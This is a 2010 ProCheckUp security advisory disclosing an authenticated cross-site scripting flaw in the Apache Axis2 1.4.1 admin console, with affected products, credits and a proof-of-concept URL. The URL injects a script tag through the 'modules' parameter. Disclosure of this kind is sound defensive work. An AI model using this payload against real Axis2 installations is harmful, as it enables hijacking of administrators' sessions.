PR10-03 Authenticated Cross-Site Scripting Vulnerability (XSS) within Apache Axis2 administration console
Source:
http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-03
Advisory publicly released: Friday, 21 May 2010
Vulnerability found: Saturday, 30 January 2010
Severity level: Medium
Credits
Richard Brain of ProCheckUp Ltd (www.procheckup.com)
Description:
Axis2 is a web services/SOAP/WDSL engine, widely used within many commercial products Procheckup has found it is vulnerable to a vanilla Cross-Site Scripting Vulnerability (XSS). Axis2 is used within SAP Business Objects 12 and 3com's IMC network management tool.
http://ws.apache.org/axis2/
Comfirmed vulnerable versions:
1.4.1
Proof of concept:
The following demonstrate the XSS flaw:
Authenticated XSS normally login as admin and axis2
http://target-domain.foo:8080/imcws/axis2-admin/axis2-admin/axis2-web/axis2-admin/axis2-admin/engagingglobally?
submit=%2bEngage%2b&modules=<script>alert(1)</script>
Note: The above path will change depending on how axis2 has been installed.
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